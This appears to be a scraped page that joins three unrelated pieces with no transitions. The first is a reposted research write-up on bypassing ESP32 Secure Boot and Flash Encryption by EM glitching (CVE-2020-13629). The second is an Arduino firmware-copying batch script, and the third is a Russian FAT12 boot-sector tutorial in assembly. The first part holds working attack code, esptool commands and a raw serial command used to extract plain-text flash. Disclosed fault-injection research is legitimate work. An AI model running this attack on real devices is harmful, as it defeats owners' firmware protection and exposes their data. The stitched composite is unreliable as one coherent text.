Espressif ESP32: Bypassing Encrypted Secure Boot (CVE-2020-13629)

SP32: Bypassing Encrypted Secure Boot (CVE-2020-13629)

Original text by Raelize

We arrived at the last post about our Fault Injection research on the ESP32. Please read our previous posts as it provides context to the results described in this post.

During our Fault Injection research on the ESP32, we gradually took steps forward in order to identify the required vulnerabilities that allowed us to bypass Secure Boot and Flash Encryption with a single EM glitch. Moreover, we did not only achieve code execution, we also extracted the plain-text flash data from the chip.

Espressif requested a CVE for the attack described in this post: CVE-2020-13629. Please note, that the attack as described in this post, is only applicable to ESP32 silicon revision 0 and 1. The newer ESP32 V3 silicon supports functionality to disable the UART bootloader that we leveraged for the attack.

UART bootloader

The ESP32 implements an UART bootloader in its ROM code. This feature allows, among other functionality, to program the external flash. It’s not uncommon that such functionality is implemented in the ROM code as it’s quite robust as the code cannot get corrupt easily. If this functionality would be implemented by code stored in the external flash, any corruption of the flash may result in a bricked device.

Typically, this type of functionality is accessed by booting the chip in a special boot mode. The boot mode selection is often done using one or more external strap pin(s) which are set before resetting the chip. On the ESP32 it works exactly like this pin G0 which is exposed externally.

The UART bootloader supports many interesting commands that can be used to read/write memory, read/write registers and even execute a stub from SRAM.

Executing arbitrary code

The UART bootloader supports loading and executing arbitrary code using the load_ram command. The ESP32‘s SDK includes all the tooling required to compile the code that can be executed from SRAM. For example, the following code snippet will print SRAM CODE\n on the serial interface.

void __attribute__((noreturn)) call_start_cpu0()
{
    ets_printf("SRAM CODE\n");
    while (1);
}

The esptool.py tool, which is part of the ESP32‘s SDK, can be used to load the compiled binary into the SRAM after which it will be executed.

esptool.py --chip esp32 --no-stub --port COM3 load_ram code.bin

Interestingly, the UART bootloader cannot disabled and therefore always accessible, even when Secure Boot and Flash Encryption are enabled.

Additional measures

Obviously, if no additional security measures would be taken, leaving the UART bootloader always accessible would render Secure Boot and Flash Encryption likely useless. Therefore, Espressif implemented additional security measures which are enabled using dedicated eFuses.

These are security configuration bits implemented in special memory, often referred to as OTP memory, which can typically only change from 0 to 1. This guarantees, that once enabled, is enabled forever. The following OTP memory bits are used to disable specific functionality when the ESP32 is in the UART bootloader boot mode.

  • DISABLE_DL_ENCRYPT: disables flash encryption operation
  • DISABLE_DL_DECRYPT: disables transparent flash decryption
  • DISABLE_DL_CACHE: disables the entire MMU flash cache

The most relevant OTP memory bit is DISABLE_DL_DECRYPT as it disables the transparent decryption of the flash data.

If not set, it would be possible to simply access the plain-text flash data while the ESP32 is in its UART bootloader boot mode.

If set, any access to the flash, when the chip is in UART bootloader boot mode, will yield just the encrypted data. The Flash Encryption feature, which is fully implemented in hardware and transparent to the processor, is only enabled in when the ESP32 is in Normal boot mode.

The attacks described in this post have all these bits set to 1.

Persistent data in SRAM

The SRAM memory that’s used by the ESP32 is typical technology that’s used by many chips. It’s commonly used to the ROM‘s stack and executing the first bootloader from flash. It’s convenient to use at early boot as it typically require no configuration before it can be used.

We know from previous experience that the data stored in SRAM memory is persistent until it’s overwritten or the required power is removed from the physical cells. After a cold reset (i.e. power-cycle) of the chip, the SRAM will be reset to its default state. This often semi-random and unique per chip as the default value for each bit (i.e. 0 or 1) is different.

However, after a warm reset, where the entire chip is reset without removing the power, it may happen that the data stored in SRAM remains unaffected. This persistence of the data is visualized in the picture below.

We decided to figure out if this behavior holds up for the ESP32 as well. We identified that the hardware watchdog can be used to issue a warm reset from software. This watchdog can also be issued when the chip is in UART bootloader boot mode and therefore we can use it to reset the ESP32 back into Normal boot mode.

Using some test code, loaded and executed in SRAM using the UART bootloader, we determined that the data in SRAM is indeed persistent after issuing a warm reset using the watchdog. Effectively this means we can boot the ESP32 in Normal boot mode with the SRAM filled with controlled data.

But… how can we (ab)use this?

Road to failure

We envisioned that we may be able to leverage the persistence of data in SRAM across warm resets for an attack. The first attack we came up with is to fill the SRAM with code using the UART bootloader and issue a warm reset using the watchdog. Then, we inject a glitch while the ROM code is overwriting this code with the flash bootloader during a normal boot.

We got this ideas as during our previous experiments, where we turned data transfers into code execution, we noticed that for some experiments the chip started executing from the entry address before the bootloader was finished copying.

Sometimes you just need to try it…

Attack code

The code that we load into the SRAM using the UART bootloader is shown below.

#define a "addi a6, a6, 1;"
#define t a a a a a a a a a a
#define h t t t t t t t t t t
#define d h h h h h h h h h h

void __attribute__((noreturn)) call_start_cpu0() {
    uint8_t cmd;

    ets_printf("SRAM CODE\n");

    while (1) {

        cmd = 0;
        uart_rx_one_char(&cmd);

        if(cmd == 'A') {                                    // 1
            *(unsigned int *)(0x3ff4808c) = 0x4001f880;
            *(unsigned int *)(0x3ff48090) = 0x00003a98;
            *(unsigned int *)(0x3ff4808c) = 0xc001f880;
        }
    }

    asm volatile ( d );                                     // 2

    "movi a6, 0x40; slli a6, a6, 24;"                       // 3
    "movi a7, 0x00; slli a7, a7, 16;"
    "xor a6, a6, a7;"
    "movi a7, 0x7c; slli a7, a7, 8;"
    "xor a6, a6, a7;"
    "movi a7, 0xf8;"
    "xor a6, a6, a7;"

    "movi a10, 0x52; callx8  a6;" // R
    "movi a10, 0x61; callx8  a6;" // a            
    "movi a10, 0x65; callx8  a6;" // e               
    "movi a10, 0x6C; callx8  a6;" // l               
    "movi a10, 0x69; callx8  a6;" // i               
    "movi a10, 0x7A; callx8  a6;" // z               
    "movi a10, 0x65; callx8  a6;" // e               
    "movi a10, 0x21; callx8  a6;" // !               
    "movi a10, 0x0a; callx8  a6;" // \n               

    while(1);
}

To summarize, the above code implements the following:

  1. Command handler with a single command to perform a watchdog reset
  2. NOP-like padding using addi instructions
  3. Assembly for printing Raelize! on the serial interface

Please note, the listing’s numbers match the numbers in the code.

Timing

We target a reasonably small attack window at the start of F which is shown in the picture below. We know from previous experiments that during this moment the flash bootloader is copied.

The glitch must be injected before our code in SRAM is entirely overwritten by the valid flash bootloader.

Attack cycle

We took the following steps for each experiment to determine if the attack idea actually works. A successful glitch will print Raelize! on the serial interface.

  1. Set pin G0 to low and perform a cold reset to enter UART bootloader boot mode
  2. Use the load_ram command to execute our attack code from SRAM
  3. Send an A to the program to issue a warm reset into normal boot mode
  4. Inject a glitch while the flash bootloader is being copied by the ROM code

Results

After running these experiments for more than a day, resulting in more than 1 million experiments, we did not observe any successful glitch…

An unexpected result

Nonetheless, while analyzing the results, we noticed something unexpected.

The serial interface output for one of the experiments, which is shown below, indicated that the glitch caused an illegal instruction exception.

ets Jun  8 2016 00:22:57
rst:0x10 (RTCWDT_RTC_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT)
configsip: 0, SPIWP:0xee
clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00
mode:DIO, clock div:2
load:0x3fff0008,len:4
load:0x3fff000c,len:3220
load:0x40078000,len:4816
load:0x40080400,len:18640
entry 0x40080740
Fatal exception (0): IllegalInstruction
epc1=0x661b661b, epc2=0x00000000, epc3=0x00000000, 
excvaddr=0x00000000, depc=0x00000000

These type of exceptions happened quite often when glitches are injected in a chip. This was not different for the ESP32. For most the exceptions the PC register is set to a value that’s expected (i.e. a valid address). It does not happen often the PC register is set to such an interesting value.

The Illegal Instruction exception is caused as there is no valid instruction stored at the 0x661b661b address. We conclude this value must come from somewhere and that is cannot magically end up in the PC register.

We analyzed the code that we load into the SRAM in order to find an explanation. The binary code, of which a snippet is shown below, quickly gave us the answer we were looking for. The value 0x661b661b is easily identified in the above binary image. It actually represents two addi a6, a6, 1 instructions of which we implemented 1000 in our test code.

00000000  e9 02 02 10 28 04 08 40  ee 00 00 00 00 00 00 00  |....(..@........|
00000010  00 00 00 00 00 00 00 01  00 00 ff 3f 0c 00 00 00  |...........?....|
00000020  53 52 41 4d 20 43 4f 44  45 0a 00 00 00 04 08 40  |SRAM CODE......@|
00000030  50 09 00 00 00 00 ff 3f  04 04 fe 3f 4d 04 08 40  |P......?...?M..@|
00000040  00 04 fe 3f 8c 80 f4 3f  90 80 f4 3f 98 3a 00 00  |...?...?...?.:..|
00000050  80 f8 01 c0 54 7d 00 40  d0 92 00 40 36 61 00 a1  |....T}.@...@6a..|
00000060  f5 ff 81 fc ff e0 08 00  0c 08 82 41 00 ad 01 81  |...........A....|
00000070  fa ff e0 08 00 82 01 00  4c 19 97 98 1f 81 ef ff  |........L.......|
00000080  91 ee ff 89 09 91 ee ff  89 09 91 f0 ff 81 ee ff  |................|
00000090  99 08 91 ef ff 81 eb ff  99 08 86 f2 ff 5c a9 97  |.............\..|
000000a0  98 c5 1b 66 1b 66 1b 66  1b 66 1b 66 1b 66 3e 0c  |...f.f.f.f.f.f>.|
000000b0  1b 66 1b 66 1b 66 1b 66  1b 66 1b 66 1b 66 1b 66  |.f.f.f.f.f.f.f.f|
000000c0  1b 66 1b 66 1b 66 1b 66  1b 66 1b 66 1b 66 1b 66  |.f.f.f.f.f.f.f.f|
000000d0  1b 66 1b 66 1b 66 1b 66  1b 66 1b 66 1b 66 1b 66  |.f.f.f.f.f.f.f.f|
...
00000330  1b 66 1b 66 1b 66 1b 66  1b 66 1b 66 1b 66 1b 66  |.f.f.f.f.f.f.f.f|
00000340  1b 66 1b 66 1b 66 1b 66  1b 66 1b 66 1b 66 1b 66  |.f.f.f.f.f.f.f.f|
00000350  1b 66 1b 66 1b 66 1b 66  1b 66 1b 66 1b 66 1b 66  |.f.f.f.f.f.f.f.f|

We just use these instructions as NOPs in order to create a landing zone in a similar fashion a NOP-sled is often used in software exploits. We did not anticipate these instructions would end up in the PC register.

Of course, we did not mind either. We concluded that, we are able to load data from SRAM into the PC register when we inject a glitch while the flash bootloader is being copied by the ROM code .

We quickly realized, we now have all the ingredients to cook up an attack where we bypass Secure Boot and Flash Encryption using a single glitch. We reused some of the knowledge obtained during a previously described attack where we take control of the PC register.

Road to success

We reused most of the code that we previously loaded into SRAM using the UART bootloader. Only the payload (i.e. printing) that we intended to execute is removed as our strategy is now to set the PC register to an arbitrary value in order to take control.

#define a "addi a6, a6, 1;"
#define t a a a a a a a a a a
#define h t t t t t t t t t t
#define d h h h h h h h h h h

void __attribute__((noreturn)) call_start_cpu0() {
    uint8_t cmd;
   
    ets_printf("SRAM CODE\n");

    while (1) {

        cmd = 0;
        uart_rx_one_char(&cmd);

        if(cmd == 'A') {
            *(unsigned int *)(0x3ff4808c) = 0x4001f880;
            *(unsigned int *)(0x3ff48090) = 0x00003a98;
            *(unsigned int *)(0x3ff4808c) = 0xc001f880;
        }
    }

    asm volatile ( d );

    while(1);
}

After compiling the above code, we overwrite directly in the binary the addi instructions with the address pointer 0x4005a980. This address points to a function in the ROM code that prints something on the serial interface. This allows us to identify when we are successful.

We fixed the glitch parameters to that of the experiment that caused the Illegal Instruction exception. After a short while, we successfully identified several experiments during which the address pointer is loaded into the PC register. Effectively this provides us with control of the PC register and we can likely achieve arbitrary code execution.

Why does this work?

Good question. Not so easy to answer.

Unfortunately, we do not have a sound answer for you. We definitely did not anticipate that controlling the data at the destination could yield control of the PC register. We came up with a few possibilities, but we cannot say with full confidence if any of these is actually correct.

One explanation is that the glitch may corrupt both operands of the ldr instruction in order to load a value from the destination into the a0. This is similar as the previously described attack where we control PC indirectly by controlling the source data.

Moreover, it’s a possibility that the ROM code implements functionality that facilitates this attack. In other words, we may execute valid code within the ROM due to our glitch that causes the value from SRAM to be loaded into the PC register.

More thorough investigation is required in order to determine what exactly allows us to perform this attack. However, from an attacker’s perspective, it’s sufficient to realize how to get control of PC in order to build the exploit.

Extracting plain-text data

Even though we have control of the PC register, we are not yet able to extract the plain-text data from the flash. We decided to leverage the UART bootloader functionality to do so.

We decided to jump directly to the UART bootloader while the chip is in Normal boot mode. For this attack we overwrite the addi instructions in the code that we load into SRAM with address pointers to the start of the UART bootloader (0x0x40007a19).

The UART bootloader prints a string on the serial interface which is shown below. We can use this to identify if we are successful or not.

waiting for download\n"

Once we observe a successful experiment, we can simply use the esptool.py to issue a read_mem command in order to access plain-text flash data. The command below reads 4 bytes from the address where the external flash is mapped (0x3f400000).

esptool.py --no-stub --before no_reset --after no_reset read_mem 0x3f400000

Unfortunately, this did not work. For some reason the processor is replying with 0xbad00bad which is an indication we read from an unmapped page.

esptool.py v2.8
Serial port COM8
Connecting....
Detecting chip type... ESP32
Chip is ESP32D0WDQ6 (revision 1)
Crystal is 40MHz
MAC: 24:6f:28:24:75:08
Enabling default SPI flash mode...
0x3f400000 = 0xbad00bad
Staying in bootloader.

We noticed that there is quite some configuration done at the start of the UART bootloader. We assume it may affect the MMU as well.

Just to try something different, we decided to jump directly to the command handler of the UART bootloader itself (0x40007a4e). Once in the hander, we can send a raw read_mem command directly on the serial interface which is shown below.

target.write(b'\xc0\x00\x0a\x04\x00\x00\x00\x00\x00\x00\x00\x40\x3f\xc0')

Unfortunately, by jumping directly to the handler, the string that’s printed (i.e. waiting for download\n") is not printed anymore. Therefore, we cannot easily identify successful experiments. Therefore, we decided to simply always send the command, regardless if we are successful or not. We used a very short serial interface timeout in order to minimize the overhead of almost always hitting the timeout.

After a short while, we observed the first successful experiments!

Conclusion

In this post we described an attack on the ESP32 where we bypass its Secure Boot and Flash Encryption features using a single EM glitch. Moreover, we leveraged the vulnerability exploited by this attack to extract the plain-text data from the encrypted flash.

We can use FIRM to break down the attack in multiple comprehensible stages.

Interestingly, two weaknesses of the ESP32 facilitated this attack. First, the UART bootloader cannot be disabled and is always accessible. Second, the data loaded in SRAM is persistent across warm resets and can therefore be filled with arbitrary data using UART bootloader.

Espressif indicated in their advisory related to this attack that newer versions of the ESP32 include functionality to completely disable this feature.

Final thoughts

All standard embedded technologies are vulnerable to Fault Injection attacks. Therefore, it’s not surprising at all that the ESP32 is vulnerable as well. These type of chips are simply not made to be resilient against these type of attacks. However, and this is important, this does not mean that these attacks do not impose a risk.

Our research has shown that leveraging chip-level weaknesses for Fault Injection attack is very effective. We have not seen many public examples yet as most attack still focus on traditional approaches where the focus is mostly on bypassing just a check.

We believe the full potential of Fault Injection attacks is still unexplored. Most research until recently focused mostly on the injection method itself (i.e. ActivateInject and Glitch) compared to what can be accomplished due to a vulnerable chip (i.e. FaultExploit and Goal).

We are confident that creative usage of new and undefined fault models, will give rise to unforeseen attacks, where exciting exploitation strategies are used, for a wide variety of different goals.

AVR(Arduino) Firmware Duplicator

Windows script to make an exact copy of AVR (Arduino) firmware including the bootloader, user program, fuses and EEPROM.

Things used in this project

Hardware components: Atmel ATmega328P-PU

Story

Code

windows_read___copy__xp__vista_tested_.

Plain text

windows_read___copy__xp__vista_tested_.
REM
prompt $G
ECHO OFF
CLS
ECHO.
ECHO BATCH COPY ATMEGA328P-PU VIA ARDUINO-ISP ON com4
CD C:\Program Files\Arduino_105\hardware\tools\avr\bin
ECHO ENSURE MASTER CHIP IS IN THE READER
ECHO CTRL+C to abort OR PRESS Any key to begin copy...
ECHO.
pause >nul
ECHO Creating hexadecimal binary files of ATmel328P contents...
>stdout.log 2>&1 (
avrdude -c arduino -P com4 -p ATMEGA328P -b 19200 -U flash:r:%temp%\backup_flash.hex:i
ECHO flash has been sAVED to backup_flash.hex
avrdude -c arduino -P com4 -p ATMEGA328P -b 19200 -U eeprom:r:%temp%\backup_eeprom.hex:i
ECHO eeprom has been SAVED to backup_eerpom.hex
avrdude -c arduino -P com4 -p ATMEGA328P -b 19200 -U hfuse:r:%temp%\backup_hfuse.hex:i
ECHO hfuse has been SAVED to backup_hfuse.hex
avrdude -c arduino -P com4 -p ATMEGA328P -b 19200 -U lfuse:r:%temp%\backup_lfuse.hex:i
ECHO lfuse has been SAVED to backup_lfuse.hex
avrdude -c arduino -P com4 -p ATMEGA328P -b 19200 -U efuse:r:%temp%\backup_efuse.hex:i
ECHO efuse has been SAVED to backup_efuse.hex
)
ECHO Hexadecimal files created.
ECHO.
CD C:\Program Files\Arduino_105\hardware\tools\avr\bin
ECHO INSERT THE NEW CHIP now!
ECHO PRESS Any key to write new chip...
pause >nul
REM Note that the path cannot contain the drive letter "C:" so you cannot use %temp% as previously
REM Reference:http://savannah.nongnu.org/bugs/index.php Bug report #39230
REM.
>>stdout.log 2>&1 (
avrdude -c arduino -P com4 -p ATMEGA328P -b 19200 -U flash:w:\Users\owner\AppData\Local\Temp\backup_flash.hex
ECHO backup_flash.hex WRITTEN
avrdude -c arduino -P com4 -p ATMEGA328P -b 19200 -U eeprom:w:\Users\owner\AppData\Local\Temp\backup_eeprom.hex
ECHO backup_eeprom.hex WRITTEN
avrdude -c arduino -P com4 -p ATMEGA328P -b 19200 -U hfuse:w:\Users\owner\AppData\Local\Temp\backup_hfuse.hex
ECHO hfuse WRITTEN
avrdude -c arduino -P com4 -p ATMEGA328P -b 19200 -U lfuse:w:\Users\owner\AppData\Local\Temp\backup_lfuse.hex
ECHO lfuse WRITTEN
avrdude -c arduino -P com4 -p ATMEGA328P -b 19200 -U efuse:w:\Users\owner\AppData\Local\Temp\backup_efuse.hex
ECHO efuse WRITTEN ... this may change from 05 to 07 with BOD being disabled by AVRDUDE
)
ECHO.
ECHO Chip duplication and verification is complete.
ECHO Starting Notepad editor to display log file.
start notepad C:\Program Files\Arduino_105\hardware\tools\avr\bin\stdout.log
ECHO.
ECHO Press Any key to close this window...
pause >nul

 

Пишем свой загрузочный сектор

Мы будем писать загрузочный сектор для трехдюймовой дискеты с файловой системой FAT12. После окончания начальной загрузки программа POST находит активное устройство и загружает с него короткую программу загрузки ОС — загрузочный сектор. Загрузочный сектор это первый физический сектор устройства, в данном случае дискеты и его размет равен всего ничего 512 байт. С помощью этих 512 байт кода мы должны найти основную часть загрузчика операционной системы, загрузить его в память и передать ему управление. Заголовок файловой системы FAT находится в первом секторе дискеты, благодаря чему этот заголовок, содержащий всю необходимую информацию о файловой системе, загружается вместе нашим загрузчиком. Наш загрузочный сектор будет искать в корневом каталоге некоторый файл — загрузчик, загрузит его в память и передаст ему управление на его начало. А загрузчик уже сам разберется, что ему делать дальше. Я использую NASM, т.к. считаю, что он больше подходит для наших целей.
И так, приступим. Как я уже говорил, в начале нашего загрузочного сектора располагается заголовок FAT, опишем его:
; Общая часть для всех типов FAT
BS_jmpBoot:
jmp short BootStart ; Переходим на код загрузчика
nop
BS_OEMName db ‘*-v4VIHC’ ; 8 байт, что было на моей дискете, то и написал
BPB_BytsPerSec dw 0x200 ; Байт на сектор
BPB_SecPerClus db 1 ; Секторов на кластер
BPB_RsvdSecCnt dw 1 ; Число резервных секторов
BPB_NumFATs db 2 ; Количектво копий FAT
BPB_RootEntCnt dw 224 ; Элементов в корневом катологе (max)
BPB_TotSec16 dw 2880 ; Всего секторов или 0
BPB_Media db 0xF0 ; код типа устройства
BPB_FATsz16 dw 9 ; Секторов на элемент таблицы FAT
BPB_SecPerTrk dw 18 ; Секторов на дорожку
BPB_NumHeads dw 2 ; Число головок
BPB_HiddSec dd 0 ; Скрытых секторов
BPB_TotSec32 dd 0 ; Всего секторов или 0
; Заголовок для FAT12 и FAT16
BS_DrvNum db 0 ; Номер дика для прерывания int 0x13
BS_ResNT db 0 ; Зарезервировано для Windows NT
BS_BootSig db 29h ; Сигнатура расширения
BS_VolID dd 2a876CE1h ; Серийный номер тома
BS_VolLab db ‘X boot disk’ ; 11 байт, метка тома
BS_FilSysType db ‘FAT12 ‘ ; 8 байт, тип ФС
; Структура элемента каталога
struc DirItem
DIR_Name: resb 11
DIR_Attr: resb 1
DIR_ResNT: resb 1
DIR_CrtTimeTenth resb 1
DIR_CrtTime: resw 1
DIR_CrtDate: resw 1
DIR_LstAccDate: resw 1
DIR_FstClusHi: resw 1
DIR_WrtTime: resw 1
DIR_WrtDate: resw 1
DIR_FstClusLow: resw 1
DIR_FileSize: resd 1
endstruc ;DirItem

Большинство полей мы использовать не будем, и так мало места для полета. Загрузчик BIOS передает нам управление на начало загрузочного сектора, т.е. на BS_jmpBoot, поэтому в начале заголовка FAT на отводится 3 байта для короткой или длинной инструкции jmp. Мы в данном случае использовали короткую, указав модификатор short, и в третьем байте просто разместили однобайтовую инструкцию nop.

По инструкции jmp short BootStart мы переходим на наш код. Проведем небольшую инициализацию:
; Наши не инициализированные переменные
; При инициализации они затрут не нужные нам
; поля заголовка FAT: BS_jmpBoot и BS_OEMName
struc NotInitData
SysSize: resd 1 ; Размер системной области FAT
fails: resd 1 ; Число неудачных попыток при чтении
fat: resd 1 ; Номер загруженного сектора с элементами FAT
endstruc ;NotInitData
; По этому адресу мы будем загружать загрузчик
%define SETUP_ADDR 0x1000
; А по этому адресу нас должны были загрузить
%define BOOT_ADDR 0x7C00
%define BUF 0x500
BootStart:
cld
xor cx, cx
mov ss, cx
mov es, cx
mov ds, cx
mov sp, BOOT_ADDR
mov bp, sp
; Сообщим о том что мы загружаемся
mov si, BOOT_ADDR + mLoading
call print

Все сегментные регистры настраиваем на начало физической памяти. Вершину стека настраиваем на начало нашего сектора, стек растет вниз (т.е. в сторону младших адресов), так что проблем быть не должно. Туда же указывает регистр bp — нам нужно обращаться к полям заголовка FAT и паре наших переменных. Мы используем базовую адресацию со смещением, для чего используем регистр bp т.к. в этом случае можно использовать однобайтовые смещения, вместо двухбайтовых адресов, что позволяет сократить код. Процедуру print, выводящую сообщение на экран, рассмотрим позже.

Теперь нам нужно вычислить номера первых секторов корневого каталога и данных файлов.

mov al, [byte bp+BPB_NumFATs]
cbw
mul word [byte bp+BPB_FATsz16]
add ax, [byte bp+BPB_HiddSec]
adc dx, [byte bp+BPB_HiddSec+2]
add ax, [byte bp+BPB_RsvdSecCnt]
adc dx, cx
mov si, [byte bp+BPB_RootEntCnt]
; dx:ax — Номер первого сектора корневого каталога
; si — Количество элементов в корневом каталоге
pusha
; Вычислим размер системной области FAT = резервные сектора +
; все копии FAT + корневой каталог
mov [bp+SysSize], ax ; осталось добавить размер каталога
mov [bp+SysSize+2], dx
; Вычислим размер корневого каталога
mov ax, 32
mul si
; dx:ax — размер корневого каталога в байтах, а надо в секторах
mov bx, [byte bp+BPB_BytsPerSec]
add ax, bx
dec ax
div bx
; ax — размер корневого каталога в секторах
add [bp+SysSize], ax ; Теперь мы знаем размер системной
adc [bp+SysSize+2], cx ; области FAT, и начало области данных
popa
; В dx:ax — снова номер первого сектора корневого каталога
; si — количество элементов в корневом каталоге

Теперь мы будем просматривать корневой каталог в поисках нужного нам файла
NextDirSector:
; Загрузим очередной сектор каталога во временный буфер
mov bx, 700h ; es:bx — буфер для считываемого сектора
mov di, bx ; указатель текущего элемента каталога
mov cx, 1 ; количество секторов для чтения
call ReadSectors
jc near DiskError ; ошибка при чтении
RootDirLoop:
; Ищем наш файл
; cx = 0 после функции ReadSectors
cmp [di], ch ; byte ptr [di] = 0?
jz near NotFound ; Да, это последний элемент в каталоге
; Нет, не последний, сравним имя файла
pusha
mov cl, 11 ; длина имени файла с расширением
mov si, BOOT_ADDR + LoaderName ; указатель на имя искомого файла
rep cmpsb ; сравниваем
popa
jz short Found ; Нашли, выходим из цикла
; Нет, ищем дальше
dec si ; RootEntCnt
jz near NotFound ; Это был последний элемент каталога
add di, 32 ; Переходим к следующему элементу каталога
; bx указывает на конец прочтенного сектора после call ReadSectors
cmp di, bx ; Последний элемент в буфере?
jb short RootDirLoop ; Нет, проверим следующий элемент
jmp short NextDirSector ; Да последний, загрузим следующий сектор

Из этого кода мы можем выйти одну из трех точек: ошибка при чтении DiskError, файл наден Found или файл не найден NotFound.

Если файл найден, то загрузим его в память и передадим управление на его начало.

Found:
; Загрузка загрузчика (извените, калабур)
mov bx, SETUP_ADDR
mov ax, [byte di+DIR_FstClusLow] ; Номер первого кластера файла
; Загружаем сектор с элемнтами FAT, среди которых есть FAT[ax]
; LoadFAT сохраняет значения всех регистров
call LoadFAT
ReadCluster:
; ax — Номер очередного кластера
; Загрузим его в память
push ax
; Первые два элемента FAT служебные
dec ax
dec ax
; Число секторов для чтения
; cx = 0 после ReadSectors
mov cl, [byte bp+BPB_SecPerClus] ; Секторов на кластер
mul cx
; dx:ax — Смещение кластера относительно области данных
add ax, [byte bp+SysSize]
adc dx, [byte bp+SysSize+2]
; dx:ax — Номер первого сектора требуемого кластера
; cx еще хранит количество секторов на кластер
; es:bx — конец прошлого кластера и начало нового
call ReadSectors ; читаем кластер
jc near DiskError ; Увы, ошибка чтения
pop ax ; Номер кластера
; Это конец файла?
; Получим значение следующего элемента FAT
pusha
; Вычислим адрес элемента FAT
mov bx, ax
shl ax, 1
add ax, bx
shr ax, 1
; Получим номер сектора, в котором находится текущий элемент FAT
cwd
div word [byte bp+BPB_BytsPerSec]
cmp ax, [bp+fat] ; Мы уже читали этот сектор?
popa
je Checked ; Да, читали
; Нет, надо загрузить этот сектор
call LoadFAT
Checked:
; Вычислим адрес элемента FAT в буфере
push bx
mov bx, ax
shl bx, 1
add bx, ax
shr bx, 1
and bx, 511 ; остаток от деления на 512
mov bx, [bx+0x700] ; а вот и адрес
; Извлечем следующий элемент FAT
; В FAT16 и FAT32 все немного проще 🙁
test al, 1
jnz odd
and bx, 0xFFF
jmp short done
odd:
shr bx, 4
done:
mov ax, bx
pop bx
; bx — новый элемент FAT
cmp ax, 0xFF8 ; EOF — конец файла?
jb ReadCluster ; Нет, читаем следующий кластер
; Наконец-то загрузили
mov ax, SETUP_ADDR>>4 ; SETUP_SEG
mov es, ax
mov ds, ax
; Передаем управление, наше дело сделано 🙂
jmp SETUP_ADDR>>4:0

LoadFAT ;proc
; Процедура для загрузки сектора с элементами FAT
; Элемент ax должен находится в этом секторе
; Процедура не должна менять никаких регистров
pusha
; Вычисляем адрес слова содержащего нужный элемент
mov bx, ax
shl ax, 1
add ax, bx
shr ax, 1
cwd
div word [byte bp+BPB_BytsPerSec]
; ax — смещение сектора относительно начала таблицы FAT
mov [bp+fat], ax ; Запомним это смещение, dx = 0
cwd ; dx:ax — номер сектора, содержащего FAT[?]
; Добавим смещение к первой копии таблицы FAT
add ax, [byte bp+BPB_RsvdSecCnt]
adc dx, 0
add ax, [byte bp+BPB_HiddSec]
adc dx, [byte bp+BPB_HiddSec+2]
mov cx, 1 ; Читаем один сектор. Можно было бы и больше, но не быстрее
mov bx, 700h ; Адрес буфера
call ReadSectors
jc DiskError ; Ошибочка вышла
popa
ret
;LoadFAT endp

В FAT12 на каждый элемент FAT отводится по 12 бит, что несколько усложняет нашу работу, в FAT16 и FAT32 на каждый элемент отводится по 16 и 32 бита соответственно и можно просто прочесть слово или двойное слово, а в FAT12 необходимо прочесть слово содержащее элемент FAT и правильно извлечь из него 12 бит.

Теперь разберем процедуру загрузки секторов. Процедура получает номер сектора в dx:ax (нумерация с нуля) и преобразует его к формату CSH (цилиндр, сектор, сторона), используемому прерыванием BIOS int 0x13.
; *************************************************
; * Чтение секторов с диска *
; *************************************************
; * Входные параметры: *
; * dx:ax — (LBA) номер сектора *
; * cx — количество секторов для чтения *
; * es:bx — адрес буфера *
; *************************************************
; * Выходные параметры: *
; * cx — Количество не прочтенных секторов *
; * es:bx — Указывает на конец буфера *
; * cf = 1 — Произошла ошибка при чтении *
; *************************************************
ReadSectors ;proc
next_sector:
; Читаем очередной сектор
mov byte [bp+fails], 3 ; Количество попыток прочесть сектор
try:
; Очередная попытка
pusha
; Преобразуем линейный адрес в CSH
; dx:ax = a1:a0
xchg ax, cx ; cx = a0
mov ax, [byte bp+BPB_SecPerTrk]
xchg ax, si ; si = Scnt
xchg ax, dx ; ax = a1
xor dx, dx
; dx:ax = 0:a1
div si ; ax = q1, dx = c1
xchg ax, cx ; cx = q1, ax = a0
; dx:ax = c1:a0
div si ; ax = q2, dx = c2 = c
inc dx ; dx = Sector?
xchg cx, dx ; cx = c, dx = q1
; dx:ax = q1:q2
div word [byte bp+BPB_NumHeads] ; ax = C (track), dx = H
mov dh, dl ; dh = H
mov ch, al
ror ah, 2
or cl, ah
mov ax, 0201h ; ah=2 — номер функции, al = 1 сектор
mov dl, [byte bp+BS_DrvNum]
int 13h
popa
jc Failure ; Ошибка при чтении
; Номер следующего сектора
inc ax
jnz next
inc dx
next:
add bx, [byte bp+BPB_BytsPerSec]
dec cx ; Все сектора прочтены?
jnz next_sector ; Нет, читаем дальше
return:
ret
Failure:
dec byte [bp+fails] ; Последняя попытка?
jnz try ; Нет, еще раз
; Последняя, выходим с ошибкой
stc
ret
;ReadSectors endp

Осталось всего ничего:
; Сообщения об ошибках
NotFound: ; Файл не найден
mov si, BOOT_ADDR + mLoaderNotFound
call print
jmp short die
DiskError: ; Ошибка чтения
mov si, BOOT_ADDR + mDiskError
call print
;jmp short die
die: ; Просто ошибка
mov si, BOOT_ADDR + mReboot
call print
_die: ; Бесконечный цикл, пользователь сам нажмет Reset
jmp short _die
; Процедура вывода ASCIIZ строки на экран
; ds:si — адрес строки
print: ; proc
pusha
print_char:
lodsb ; Читаем очередной символ
test al, al ; 0 — конец?
jz short pr_exit ; Да конец
; Нет, выводим этот символ
mov ah, 0eh
mov bl, 7
int 10h
jmp short print_char ; Следующий
pr_exit:
popa
ret
;print endp
; Перевод строки
%define endl 10,13,0
; Строковые сообщения
mLoading db ‘Loading…’,endl
mDiskError db ‘Disk I/O error’,endl
mLoaderNotFound db ‘Loader not found’,endl
mReboot db ‘Reboot system’,endl
; Выравнивание размера образа на 512 байт
times 499-($-$$) db 0
LoaderName db ‘BOOTOR ‘ ; Имя файла загрузчика
BootMagic dw 0xAA55 ; Сигнатура загрузочного сектора

Ну вот вроде бы и все. Компилируется все это до безобразия просто:
> nasm -f bin boot.asm -lboot.lst -oboot.bin

